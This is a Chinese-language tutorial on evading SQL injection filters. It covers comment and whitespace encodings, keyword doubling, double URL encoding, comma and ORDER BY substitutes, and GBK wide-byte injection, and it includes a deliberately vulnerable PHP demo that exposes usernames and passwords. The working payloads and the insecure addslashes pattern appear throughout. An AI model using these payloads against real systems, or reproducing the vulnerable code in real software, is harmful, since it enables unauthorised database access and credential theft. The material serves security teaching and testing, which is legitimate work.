注释符:-- 、#、/**/绕过
只能闭合后面的语句,使其成为正确的SQL语句。
$sql="SELECT username FROM users WHERE id='{$id}' limit 0,1;"
$id=-1' union select version() '1;
$sql="SELECT username FROM users WHERE id='-1' union select version() '1' limit 0,1;"
空格绕过
可通过注释符/**/进行绕过空格
或者是通过以下编码进行绕过。
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
关键字符绕过
1、如果不是忽略大小写过滤,则大小写变形进行绕过 Or And UnIon等
2、and or 可利用符号进行代替为 && ||
3、如果只匹配过滤了一次,可使用双字符进行绕过,如UNIunionON
URL二次编码绕过
如果后台会再次对接收到的参数进行URL解码,此时可以进行二次URL编码绕过。
<?php
$id=urldecode($_GET['id']);
?>
#->%23->%25%32%33
HEX、BASE64等编码绕过
如果提交的数据区包含敏感词汇,被检测到,此时可以使用各种编码进行绕过。
逗号绕过
在使用函数时,大多数函数会使用逗号,如果过滤了逗号,那么以下函数可以不使用逗号进行绕过
SELECT MID('mysql' from 1 for 1);
SELECT SUBSTR('mysql' from 1 for 1);
SELECT * FROM users limit 1 offset 1;
order by绕过
当order by被过滤时,无法猜解字段数,此时可以使用into 变量名进行代替。
SELECT * FROM users WHERE id=1 into @a,@b,@c,@d;
也可以使用group by进行代替
比较符绕过
比较字符>、<、=等,在盲注逐字猜解时用到,可使用in、between、strcmp、greatest等绕过。
宽字节注入
addslashes()
返回在预定义字符之前添加反斜杠的字符串,预定义字符是:
单引号(')
双引号(")
反斜杠(\)
<?php
echo addslashes($_GET['id']);
由于此函数对单引号和双引号及反斜杠都进行了处理,故不能闭合SQL语句从而进行注入。
PHP代码:
<?php
header('content-type:text/html;charset=gbk');
@$id=$_GET['id'];
if(!isset($id)){
die('请传入GET方法id参数值');
}
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('连接数据库失败:'.$mysqli->connect_error);
}
$mysqli->select_db('user');
if($mysqli->errno){
die('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('gbk');
$id=addslashes($id);
$sql="SELECT username,passwd FROM users WHERE id='{$id}' limit 0,1";
echo $sql.'<hr />';
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo '用户名:'.$array1[0]['username'].'<br />'.'密码:'.$array1[0]['passwd'].'<br />';
}
通过添加单引号被转义为\',无法闭合单引号进行注入。那么如果绕过这个注入呢,就要用到宽字节注入方法了。
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。而mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。
绕过的原理是:urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,此时就绕过了限制。
首先设置数据库编码方式为GBK,及页面显示也为GBK。
可看到,通过加入%df,%df%5c组成汉字【運】,后面的单引号限制就被绕过了
此时,就可以按照正常的流程进行注入了。